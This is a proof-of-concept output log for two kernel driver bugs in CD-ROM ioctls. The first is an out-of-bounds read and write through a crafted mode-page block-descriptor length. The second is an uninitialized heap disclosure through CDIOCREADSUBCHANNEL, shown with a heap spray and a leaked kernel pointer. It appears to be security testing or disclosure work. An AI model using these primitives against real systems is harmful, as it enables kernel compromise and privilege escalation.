=== DF-5271: mode-page blk_desc_len OOB read+write ===
[poc] opened /dev/cd1
[poc] CDIOCGETVOL (OOB read, blkdesc=0x400): vol = 00 00 00 ab
[poc] CDIOCSETVOL wrote {66 67 68 69} at mode_buf+8+0x400+{12,14,16,18}
[poc] CDIOCSETPATCH wrote {A1 A2 A3 A4} at mode_buf+8+0x400+{11,13,15,17}
[poc] CDIOCGETVOL readback: vol = 66 67 68 69

=== DF-5272: CDIOCREADSUBCHANNEL uninitialized heap disclosure ===
--- phase 1: short-transfer leak (3 rounds of 64 ioctls) ---
[poc]        uninit[4..23] = ....................
[poc] 64/64 runs leaked non-zero heap bytes; kernel-pointer marker seen: 0
[poc]        uninit[4..23] = ....................
[poc] 64/64 runs leaked non-zero heap bytes; kernel-pointer marker seen: 0
[poc]        uninit[4..23] = ....................
[poc] 64/64 runs leaked non-zero heap bytes; kernel-pointer marker seen: 0
--- phase 2: marker + kernel-pointer proof (in-process spray) ---
kernel marker pointer: 18446744071602512544
[poc] run  0: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  1: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  2: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  0: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  1: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  2: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  0: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  1: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.
[poc] run  2: bytes[0..23]  = 00110014ffffffff696c63640073707261795f6c65616b00
[poc]        uninit[4..23] = ....ilcd.spray_leak.